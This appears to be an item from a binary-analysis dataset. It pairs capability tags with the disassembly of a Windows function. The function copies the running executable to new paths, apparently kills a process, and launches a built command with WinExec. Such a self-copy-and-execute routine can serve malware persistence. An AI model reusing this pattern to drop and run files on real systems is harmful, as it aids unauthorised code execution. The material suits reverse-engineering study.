Function at 0x140026b10
Capabilities:
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x898
mov rax, qword [0x14017d080]
xor rax, rsp
mov qword [rsp + 0x880], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x8a0]
lea rcx, [rsp + 0x1a0]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x1a0]
call fcn.140022270
movzx eax, al
test eax, eax
jne 0x140026b65
mov dword [rsp + 0x24], 1
jmp 0x140026b6d
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x1a0]
call fcn.140012870
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x140026d2f
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov ecx, 8
imul rcx, rcx, 0
add rcx, qword [rax]
mov rax, rcx
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.140007b30
nop
lea rcx, [rsp + 0x280]
call fcn.14001fdd0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x1c0]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x260]
call fcn.140013690
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0x240]
mov rcx, qword [rsp + 0x80]
call fcn.140027d60
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
call fcn.1400059c0
lea rdx, [0x14005f404]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x240]
call fcn.140002b50
nop
lea rcx, [rsp + 0x260]
call fcn.140012870
nop
lea rcx, [rsp + 0x280]
call fcn.140012870
nop
lea rcx, [rsp + 0x1c0]
call fcn.140012870
nop
mov rdx, qword [rsp + 0x8a0]
lea rcx, [rsp + 0x2a0]
call fcn.140028360
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.1400059c0
lea rdx, [0x14005f408]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x2a0]
call fcn.140002b50
nop
mov r9, qword [rsp + 0x38]
mov r8d, 0x200
mov edx, 1
lea rcx, [rsp + 0x480]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140026d15
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x480]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
nop
jmp 0x140026ccc
mov rcx, qword [rsp + 0x38]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, qword [rsp + 0x40]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
nop
jmp 0x140026f8d
mov rcx, qword [rsp + 0x8a0]
call fcn.1400077b0
mov rcx, rax
call fcn.140022e40
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140026d66
xor edx, edx
mov ecx, dword [rsp + 0x28]
call fcn.140015450
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
xor r8d, r8d
mov rdx, qword [rsp + 0x8a0]
lea rcx, [rsp + 0x1e0]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x1e0]
call fcn.140022270
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x1e0]
call fcn.140012870
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x140026ddb
xor r8d, r8d
mov rdx, qword [rsp + 0x8a0]
lea rcx, [rsp + 0x200]
call fcn.140007dc0
nop
lea rcx, [rsp + 0x200]
call fcn.140025820
nop
lea rcx, [rsp + 0x200]
call fcn.140012870
nop
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov ecx, 8
imul rcx, rcx, 0
add rcx, qword [rax]
mov rax, rcx
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140007b30
nop
lea rcx, [rsp + 0x300]
call fcn.14001fdd0
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xa0], rax
lea r8, [rsp + 0x220]
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x2e0]
call fcn.140013690
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x2c0]
mov rcx, qword [rsp + 0xb8]
call fcn.140027d60
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call fcn.1400059c0
lea rdx, [0x14005f40c]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x2c0]
call fcn.140002b50
nop
lea rcx, [rsp + 0x2e0]
call fcn.140012870
nop
lea rcx, [rsp + 0x300]
call fcn.140012870
nop
lea rcx, [rsp + 0x220]
call fcn.140012870
nop
mov rdx, qword [rsp + 0x8a0]
lea rcx, [rsp + 0x320]
call fcn.140028360
mov qword [rsp + 0xc8], rax
mov rcx, qword [rsp + 0xc8]
call fcn.1400059c0
lea rdx, [0x14005f410]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x320]
call fcn.140002b50
nop
mov r9, qword [rsp + 0x50]
mov r8d, 0x200
mov edx, 1
lea rcx, [rsp + 0x680]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140026f78
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x680]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
nop
jmp 0x140026f2f
mov rcx, qword [rsp + 0x50]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, qword [rsp + 0x58]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
nop
lea rax, [rsp + 0x420]
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0x8a0]
mov rcx, qword [rsp + 0xd0]
call fcn.1400103f0
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xd8]
call fcn.1400249a0
nop
lea rcx, [rsp + 0x22]
call fcn.140001b00
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0x190]
mov rcx, qword [rsp + 0x8a0]
call fcn.140021fa0
mov rax, qword [rax]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xf8], rax
lea rdx, [rsp + 0x198]
mov rcx, qword [rsp + 0x8a0]
call fcn.14001a230
mov rax, qword [rax]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x100], rax
mov r9, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x460]
call fcn.140007d00
nop
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov ecx, 8
imul rcx, rcx, 0
add rcx, qword [rax]
mov rax, rcx
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.140007b30
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x118], rax
lea rdx, [rsp + 0x340]
mov rcx, qword [rsp + 0x118]
call fcn.1400224a0
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x440]
mov rcx, qword [rsp + 0x130]
call fcn.140028e30
nop
lea rcx, [rsp + 0x340]
call fcn.140012870
nop
lea rcx, [rsp + 0x360]
call fcn.140012870
nop
mov rdx, qword [rsp + 0x8a0]
lea rcx, [rsp + 0x400]
call fcn.140028360
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x168], rax
lea r8, [0x14017e650]
lea rdx, [0x14017e708]
lea rcx, [rsp + 0x3e0]
call fcn.140008560
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x150], rax
lea r8, [0x14017e670]
mov rdx, qword [rsp + 0x150]
lea rcx, [rsp + 0x3c0]
call fcn.1400013f0
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x170], rax
mov r8, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x3a0]
call fcn.1400013a0
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x180], rax
lea r8, [0x14017e6e8]
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x380]
call fcn.1400013f0
mov qword [rsp + 0x188], rax
mov rdx, qword [rsp + 0x188]
lea rcx, [0x14017e630]
call fcn.140002c00
lea rcx, [rsp + 0x380]
call fcn.140002b50
nop
lea rcx, [rsp + 0x3a0]
call fcn.140002b50
nop
lea rcx, [rsp + 0x3c0]
call fcn.140002b50
nop
lea rcx, [rsp + 0x3e0]
call fcn.140002b50
nop
lea rcx, [rsp + 0x400]
call fcn.140002b50
nop
lea rcx, [0x14017e630]
call fcn.1400059c0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WinExec]
nop
mov dword [rsp + 0x2c], 1
lea rcx, [rsp + 0x440]
call fcn.1400072e0
nop
lea rcx, [rsp + 0x460]
call fcn.1400072e0
nop
mov rcx, qword [rsp + 0x8a0]
call fcn.1400072e0
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x880]
xor rcx, rsp
call fcn.14002baf0
add rsp, 0x898
ret